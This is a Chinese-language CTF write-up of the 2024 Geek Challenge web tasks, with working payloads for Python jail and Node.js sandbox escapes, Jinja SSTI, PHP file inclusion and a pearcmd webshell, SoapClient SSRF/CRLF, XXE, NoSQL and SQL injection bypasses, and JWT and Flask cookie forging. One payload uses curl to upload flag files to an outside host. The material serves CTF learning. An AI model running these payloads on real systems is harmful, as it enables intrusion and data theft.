2024极客大挑战wp(部分复现)
2024极客大挑战wp(部分)
rce_me
1 |
|
baby_upload
在文件名后缀中加个报名单后缀即可
py_jail
开启sh
1 | ().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__class__.__base__.__subclasses__()[6]([115, 121, 115, 116, 101, 109]).decode()](().__class__.__base__.__subclasses__()[6]([115, 104]).decode()) |
100%的⚪
源码里就能找到
ez_http
加jwt伪造
ez_include
第一步,包含的软连接层数较多时,hash匹配会直接失效造成重复包含:
1 | ?file=php://filter/read=convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/starven_secret.php |
base64解码得到:
1 | <?php |
第二步,根据提示 register_argc_argv = On
和 pearcmd
:
用pearcmd写入文件:
1 | /levelllll2.php?+config-create+/&syc=/usr/local/lib/php/pearcmd.php&/<?=eval($_GET[1]);?>+/tmp/1.php |
再访问:
1 | /levelllll2.php?1=system("env");&syc=/tmp/1.php |
得到flag。
ezpop
1 | <?php |
Problem_On_My_Web
xss
/manager
页面POST url=http://127.0.0.1,让bot访问主页,触发攻击
Can_you_Pass_Me
1 | {%print(joiner|attr('_''_init__')|attr('_''_globals__'))|attr('__g''etitem__')('_''_builtins__')|attr('__g''etitem__')('__import__')('o''s')|attr('p''open')('\x63\x61\x74\x20\x2f\x66\x6c\x61\x67\x7c\x62\x61\x73\x65\x36\x34')|attr('r''ead')()%} |
SecretInDrivingSchool
页面源码发现后台登录
依旧是页面源码
爆破的到密码SYC@chengxin
进入后台页面,广告修改功能,修改源码为:echo readgzfile("/flag");
,回到首页底部看到flag。
ez_python
注册登录上来到 /starven_s3cret
访问会下载源码
审计发现
login路由疑似存在pickle反序列化漏洞
之前的通用payload在这里用不了了,这题大概率不出网
打内存马
1 | import os |
ez_SSRF
/www.zip
源码泄露,发现对外用的是 h4d444444.php
,对内用的是 calculator.php
。
1 | #calculator.php |
1 | #h4d333333.php |
在 calculator.php 中,对 ip 的校验使用的是 remote_addr
,这个是无法通过 HTTP 头进行伪造的
只能通过 h4d333333.php 对 calculator 进行请求
相关文章:利用 SoapClient 类进行 SSRF+CRLF 攻击 | Xiaojian Yuan’s Homepage (lethe.site)
1 | <?php |
Q1ngchuan%0d%0aAuthorization: Basic YWFhYWFhYWFhYWFhZG1pbjppX3dhbnRfdG9fZ2V0STAwX2luTXlUM3N0%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0aContent-Length: 14%0d%0a%0d%0aexpression=system(“cat /flag > flag”);
py_game
随便注册一个用户
发现存在session
eyJfZmxhc2hlcyI6W3siIHQiOlsic3VjY2VzcyIsIlx1NzY3Ylx1NWY1NVx1NjIxMFx1NTI5ZiJdfV0sInVzZXJuYW1lIjoiMSJ9.Z0W1gw.DMOHNyLf2pNNdg34PP9H_U4V27A
flask-unsign爆破秘钥
1 | flask-unsign --unsign --cookie 'eyJfZmxhc2hlcyI6W3siIHQiOlsic3VjY2VzcyIsIlx1NzY3Ylx1NWY1NVx1NjIxMFx1NTI5ZiJdfV0sInVzZXJuYW1lIjoiMSJ9.Z0W1gw.DMOHNyLf2pNNdg34PP9H_U4V27A' |
1 | flask-unsign --sign --cookie "{'_flashes': [('success', '登录成功')], 'username': |
eyJfZmxhc2hlcyI6W3siIHQiOlsic3VjY2VzcyIsIlx1NzY3Ylx1NWY1NVx1NjIxMFx1NTI5ZiJdfV0sInVzZXJuYW1lIjoiYWRtaW4ifQ.Z0W2pg.T0G0Z8X1uZ8de6lq7zf_BT3gNpk
之后替换掉,进入adminpanel下载源码
之后反编译出来
1 | #!/usr/bin/env python |
https://blog.csdn.net/Luminous_song/article/details/132118473
这里由于进行了 json.loads 可以对 Unicode 字符解码 可以用这个特性绕过黑名单的部分限制
这里用Python实现了xml的解析功能 由于 load_dtd=true 可以加载外部实体存在xxe攻击可以实现任意 文件读取 xml_bytes 的数据来源于 app.config[“xml_data”] 的数据,所以我们尝试污染 xml_data 即可
可以用个常见的xxe任意文件读的payload 这里的环境没有flag 我们试着读一下 /etc/passwd ]> &xxe; J1rrY 这里直接给出POC
1 | POST /update HTTP/1.1 |
jwt_pickle
这题第一步和网鼎青龙组第一个web的第一步一模一样
先搞俩jwt
1 | docker run --rm -it portswigger/sig2n eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6IjEiLCJwYXNzd29yZCI6ImM0Y2E0MjM4YTBiOTIzODIwZGNjNTA5YTZmNzU4NDliIiwiaXNfYWRtaW4iOmZhbHNlfQ.uL7Bdovj9ehVyXoCbBK_FvyTKUmJYQrUPkBQp3BHrlvk6KUjuCIsg8c42bDPv7fdWmCBAXa5Rluse3jRcBAEdVIXza2TYeDOj_MhhU9kxyFDUiD2LbrZLQjZ_bpq19YPtuXr9Ytqa6YsZ_6LmIoxkHzLvIrPPTXW6oUMBkgCbW8vXpVTxdS-KNEhlg0_zTG8yGW0owxDttKAxgNl4WdjY0NkE43E1_BoorIGeZXwn06X2NrHbEWUnWHVd1w_zkNBhumJIcxJ5UJ4okJk3Y3PuHMFb0zHX9_x8sMJewQegeg0vHNWnT0HCL2VXfDLBp-yTHCALFqS9NuJGUe-nDWSzA eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6IjIiLCJwYXNzd29yZCI6ImM4MWU3MjhkOWQ0YzJmNjM2ZjA2N2Y4OWNjMTQ4NjJjIiwiaXNfYWRtaW4iOmZhbHNlfQ.HNZ_mzUxUJL6wVX25q5g2aYv4XxXniWYyuNX1Kq3rgJ-aUN1-czhfsTjHNDt6WKtKdRLqUrv4f0rGi0VNukV2zPFzeVi6i4ni0yZ45gmJJRF2rEVZt8VPo-Th_-v-_PoYrQZTJRlTKNckxKJa3-beASrdrM56k-uOwYk9BjstriNTMcf_XJs6iXLg_ZJcge9V_ZtphEJXqZdevJxqKbuuAKsiRvyjbNe8S2GuZY_WZU16BM951SHhpDbnZ3ARWak-9MS9gFiOTDOpAO-BT3gDwp24WhJt76GEC-RGuKDJeh7bKSOuZYENcXzeK9s_xCpOOzWw1IJ4W5CF02bbLBNEw |
1 | Found n with multiplier 1: |
这里给出了两个token,拿去试试那个可以
我这里测出第二个可以,然后拿着他对应的key就可以去jwt.io去伪造(伪造的时候拿着是原本他自己生成的,不要那工具生成的)
introduction改为pickle的数据
1 | import os |
php不必java差
1 |
|
__unserialize这个魔术方法还是很少见的,相反的有__serialize
1
2
3
4
5
6
7 这两个魔术方法需要php7.4以上才能生效
当__serialize和__sleep方法同时存在,序列化时忽略__sleep方法而执行__serialize;当__unserialize方法和__wakeup方法同时存在,反序列化时忽略__wakeup方法而执行__unserialize
__unserialize的参数:当__serialize方法存在时,参数为__serialize的返回数组;当__serialize方法不存在时,参数为实例对象的所有属性值组合而成的数组
__unserialize该魔术方法在使用unserialize函数时会自动进行调用
但利用 $FUNC() 进行数组调用类的方法时需要注意,该数组类型应该为索引数组,测试如下
链子大体上是__unserialize->Sink->Syclover
关于可变函数具体可参考PHP官方文章 https://www.php.net/manual/zh/functions.variable-functions.php 因此需要将关联形数组转变为索引数组,此处采用 array_values 取关联形数组的值转变为索引数组 下一步调用 Challenfge 类里面的Sink函数
$poc=new Geek(); $poc->a=new Challenge; $poc->b=”Sink”; //?change=array_values 进入搭配Sink函数内部后提示是否存在什么文件 这里把file赋值为include的 secret.php 文件后会提示真正的flag在根目录下,因此需要进一步RCE 跟进 file_exists 函数查看该函数定义会发现,其会把传入的变量作为字符串类型去处理,因此当传入 一个类时也会把类作为string类型进行处理,从而自动触发对应类当中的 __toString 魔术方法
因此这里将filename赋值为Syclover即可走到下一步
后续关键代码为
$eee=new $this->Where($this->IS); $fff=$this->Starven; $eee->$fff($this->Girlfriend);
此处明显为一个原生类的利用,但无法直接利用文件读取(后端设置了权限,需要进行RCE,根目录下 也放了hint.txt提示需要提权)
这里利用的是 ReflectionFunction 反射调用system函数执行命令进行RCE
成功RCE
1 | <?php |
noSandbox
1 | 李华开发了一套Nodejs在线运行代码平台,为了不被黑客攻击,他做了一个自认为完美的WAF防御,所以他直接公开在了网上,听说技术栈好像用了什么芒果db |
这里说利用了芒果DB,是啥,我不知道,搜搜看看
奥~一个数据库,是NoSQL,有无注入?
1 | {"username":{"$ne":1},"password": {"$ne":1}} |
来到了execute路由
给了部分源代码
1 | //泄露的代码执行和WAF部分代码,不能直接运行 |
过滤了好多,我之前不咋会nodejs,看了wp又学到了一招
这里直接用模板字符串绕过关键字检测即可
相关链接: https://web.nodejs.cn/en-us/docs/web/javascript/reference/template_literals/
模板字符串nodejs中``` 等价于 引号 可以用来代替字符 `
比较特殊的是占位符 ${expression} 可以镶套变量 ${} 可以被 `包裹
这里总结一下${}`拼接的字符串,以便快速使用 绕过黑名单
1 | process `${`${`proce`}ss`}` |
值得注意的式这里的sandbox环境初始值为 Object.create(null)
1 | throw new Proxy({}, {get: function(){const cc = arguments.callee.caller;const p = (cc.constructor.constructor(`${`${`return proc`}ess`}`))();chi=p.mainModule.require(`${`${`child_proces`}s`}`);res=Reflect.get(chi, `${`${`exe`}cSync`}`)(`curl http://vpsip:9999 -T /f*`);return res.toString();}}) |
escapeSandbox_PLUS
给了源码和dockerfile
app.js
1 | const express = require('express'); |
Dockfile
1 | FROM node:18-alpine //轻量版缺少许多命令,比如没有办法通过/dev/tcp/ 实现出网 |
登录大小写那快不用多说
1 | 在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。 |
ſyclover/J1rrY
前面是VM2的沙箱,去网上找
1 | for (let i = 0; i < code.length; i++) { |
这里对执行代码做了简单过滤 可以利用数组绕过的 code.length 和 code.slice 的判断
1 | async function fn() { |
not_just_pop
1 | $a=new lhRaMK7(); |
蚁剑插件绕disable_funtion
funnysql
1 | if(preg_match('/and|or| |\n|--|sleep|=|ascii/i',$str)){ |
or被ban了,意味着information和performance这俩库都查不了了,
所以我们只能通过 mysql.innodb_table_stats 来查到表名
sleep被ban了用benchmark绕就行了,=号可以用like,regexp等来绕,
也可以用>或者<号来绕
空格被ban了可以用/**/或者是()来绕